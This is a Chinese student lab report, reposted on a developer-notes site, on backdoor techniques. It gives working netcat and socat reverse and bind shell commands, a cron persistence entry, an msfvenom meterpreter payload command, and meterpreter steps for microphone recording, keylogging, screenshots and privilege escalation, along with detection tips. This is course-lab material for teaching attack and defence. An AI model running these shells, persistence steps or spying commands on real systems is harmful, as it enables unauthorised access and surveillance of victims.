热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

开发笔记:201820192网络对抗技术20165304Exp2后门原理与实践

本文由编程笔记#小编为大家整理,主要介绍了2018-2019-2网络对抗技术20165304Exp2后门原理与实践相关的知识,希望对你有一定的参考价值。
本文由编程笔记#小编为大家整理,主要介绍了2018-2019-2 网络对抗技术 20165304 Exp2 后门原理与实践相关的知识,希望对你有一定的参考价值。



后门的基本概念及实验内容

常用后门工具

netcat
Win获得Linux Shell
Linux获得Win Shell
Meterpreter

实验内容

任务一:使用netcat获取主机操作Shell,cron启动
任务二:使用socat获取主机操作Shell, 任务计划启动
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

后门的基本概念及基础问题回答

一、后门的概念

未认证、隐通道、专门应用
程序、投送、启动、隐藏

二、基础问题回答

问:例举你能想到的一个后门进入到你系统中的可能方式?
当我们打开一个网页时,如果该网页会自动链接到木马程序的话,就会在后台自动下载安装木马的安装程序,并会自动安装木马,生成可执行文件,以此在系统留下后门。
或者在非官方网站下载应用程序时,该应用程序可能绑定了一些可执行文件,因此留下后门。
问:例举你知道的后门如何启动起来(win及linux)的方式?
Windows:设置为开机自启动、修改注册表项、用户执行带有后门的可执行文件
Linux:通过crontab功能将后门设为定时启动;也可以通过对正常软件绑定注入shellcode
问:Meterpreter有哪些给你映像深刻的功能?
在植入后门后,可以控制被控主机的shell,执行指令;获取被控主机的录音、录像、截图、键盘输入记录等。
问:如何发现自己有系统有没有被安装后门?
打开防火墙,查看有没有异常开放的端口;
安装杀毒软件,实时监控电脑,定时对系统进行检测;
查看任务计划程序、开机自启动项、注册表项中是否有可疑程序。

netcat Windows获得Linux Shell

在Windows下使用ipconfig查看本机IP

技术图片

使用ncat.exe程序打开监听ncat.exe -l -p 5304

在kali中反弹连接Windows,ncat 192.168.1.175 5304 -e /bin/sh,使用-e选项执行shell程序

技术图片

Windows成功获得kali的shell

技术图片


Linux获得Windows Shell

在kali中使用ifconfig查看IP

技术图片

打开监听nc -l -p 5304

在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.1.114 5304

kali成功获得Windows的命令提示

技术图片


使用nc传输数据

Windows下监听5304端口,ncat.exe -l 5304
kali反弹连接到Windows的5304端口,nc 192.168.1.175 5304
连接建立成功,双方可以相互传输数据

技术图片


Meterpreter

后门就是一个程序。
传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的
基本功能(基本的连接、执行指令),
扩展功能(如搜集用户信息、安装服务等功能),
编码模式,
运行平台,
以及运行参数
全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
典型的平台就包括有:
intersect
Metaspolit的msfvenom指令
Veil-evasion
在下面的任务三中我们就用到了Metaspolit的msfvenom指令
参数说明
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件

实验内容


任务一:使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。

在Windows系统下,监听5304端口
在Kali环境下,用crontab -e指令编辑一条定时任务,(crontab指令增加一条定时任务,"-e"表示编辑)选择编辑器时选择3(第一次会提示选择编辑器,以后就不会提示了);
在最后一行添加59 * * * * /bin/netcat 192.168.1.175 5304 -e /bin/sh,意思是在每个小时的第59分钟反向连接Windows主机的5304端口,设置成26的原因是我当时的时间是16点59,为了能立马看到效果,所以我将时间设置成了59;

技术图片

技术图片

但时间到达59分钟时如下图所示

技术图片


任务二:使用socat获取主机操作Shell, 任务计划启动

socat:



  • socat是ncat的增强版,它使用的格式是socat [options]
    ,其中两个address是必选项,而options 是可选项。

  • socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

    搜索打开“计算机管理”

    在“任务计划程序”中“创建任务”


技术图片

填写任务名->新建一个触发器

在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5304 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5304,同时把cmd.exe的stderr重定向到stdout上

创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行

技术图片

此时,在Kali环境下输入指令socat - tcp:192.168.1.175:5304,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5304端口,此时可以发现已经成功获得了一个cmd shell

技术图片


任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.114 LPORT=5304 -f exe > 20165304_backdoor.exe,注意这里的IP地址为控制端IP,即LinuxIP,可见已经生成了后门程序“20165304_backdoor.exe”

技术图片

在Windows下执行ncat.exe -l 5304 > 20165304_backdoor.exe,这样被控主机就进入了接收文件模式,也可以使用ncat.exe -lv 5304 > 20165304_backdoor.exe指令,通过-lv选项看到当前的连接状态,下面这个图是文件传输成功的截图

技术图片

在Linux中执行nc 192.168.1.175 5304 <20165304_backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP

在Kali上使用msfconsole指令进入msf控制台

输入use exploit/multi/handler使用监听模块,设置payload

set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

set LHOST 192.168.208.129,这里用的是LinuxIP,和生成后门程序时指定的IP相同

set LPORT 5318,同样要使用相同的端口

技术图片

设置完成后,执行监听

运行Windows下的后门程序

此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

技术图片


任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

使用record_mic指令可以截获一段音频,可以用-d选项设置录制时间

技术图片

技术图片

使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

技术图片

使用screenshot指令可以进行截屏,效果如下:

技术图片

先使用getuid指令查看当前用户,使用getsystem指令进行提权

技术图片


实验遇到的问题及解决方法

在win10中无法运行后门程序,后在win7的虚拟机中完成后半段实验。


推荐阅读
  • Nginx使用AWStats日志分析的步骤及注意事项
    本文介绍了在Centos7操作系统上使用Nginx和AWStats进行日志分析的步骤和注意事项。通过AWStats可以统计网站的访问量、IP地址、操作系统、浏览器等信息,并提供精确到每月、每日、每小时的数据。在部署AWStats之前需要确认服务器上已经安装了Perl环境,并进行DNS解析。 ... [详细]
  • 一、Hadoop来历Hadoop的思想来源于Google在做搜索引擎的时候出现一个很大的问题就是这么多网页我如何才能以最快的速度来搜索到,由于这个问题Google发明 ... [详细]
  • 本文详细介绍了SQL日志收缩的方法,包括截断日志和删除不需要的旧日志记录。通过备份日志和使用DBCC SHRINKFILE命令可以实现日志的收缩。同时,还介绍了截断日志的原理和注意事项,包括不能截断事务日志的活动部分和MinLSN的确定方法。通过本文的方法,可以有效减小逻辑日志的大小,提高数据库的性能。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • Linux服务器密码过期策略、登录次数限制、私钥登录等配置方法
    本文介绍了在Linux服务器上进行密码过期策略、登录次数限制、私钥登录等配置的方法。通过修改配置文件中的参数,可以设置密码的有效期、最小间隔时间、最小长度,并在密码过期前进行提示。同时还介绍了如何进行公钥登录和修改默认账户用户名的操作。详细步骤和注意事项可参考本文内容。 ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • 本文分享了一个关于在C#中使用异步代码的问题,作者在控制台中运行时代码正常工作,但在Windows窗体中却无法正常工作。作者尝试搜索局域网上的主机,但在窗体中计数器没有减少。文章提供了相关的代码和解决思路。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 图解redis的持久化存储机制RDB和AOF的原理和优缺点
    本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ... [详细]
  • Voicewo在线语音识别转换jQuery插件的特点和示例
    本文介绍了一款名为Voicewo的在线语音识别转换jQuery插件,该插件具有快速、架构、风格、扩展和兼容等特点,适合在互联网应用中使用。同时还提供了一个快速示例供开发人员参考。 ... [详细]
  • 在Docker中,将主机目录挂载到容器中作为volume使用时,常常会遇到文件权限问题。这是因为容器内外的UID不同所导致的。本文介绍了解决这个问题的方法,包括使用gosu和suexec工具以及在Dockerfile中配置volume的权限。通过这些方法,可以避免在使用Docker时出现无写权限的情况。 ... [详细]
  • GetWindowLong函数
    今天在看一个代码里头写了GetWindowLong(hwnd,0),我当时就有点费解,靠,上网搜索函数原型说明,死活找不到第 ... [详细]
  • 本文介绍了Java工具类库Hutool,该工具包封装了对文件、流、加密解密、转码、正则、线程、XML等JDK方法的封装,并提供了各种Util工具类。同时,还介绍了Hutool的组件,包括动态代理、布隆过滤、缓存、定时任务等功能。该工具包可以简化Java代码,提高开发效率。 ... [详细]
author-avatar
此女我很爱_484
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有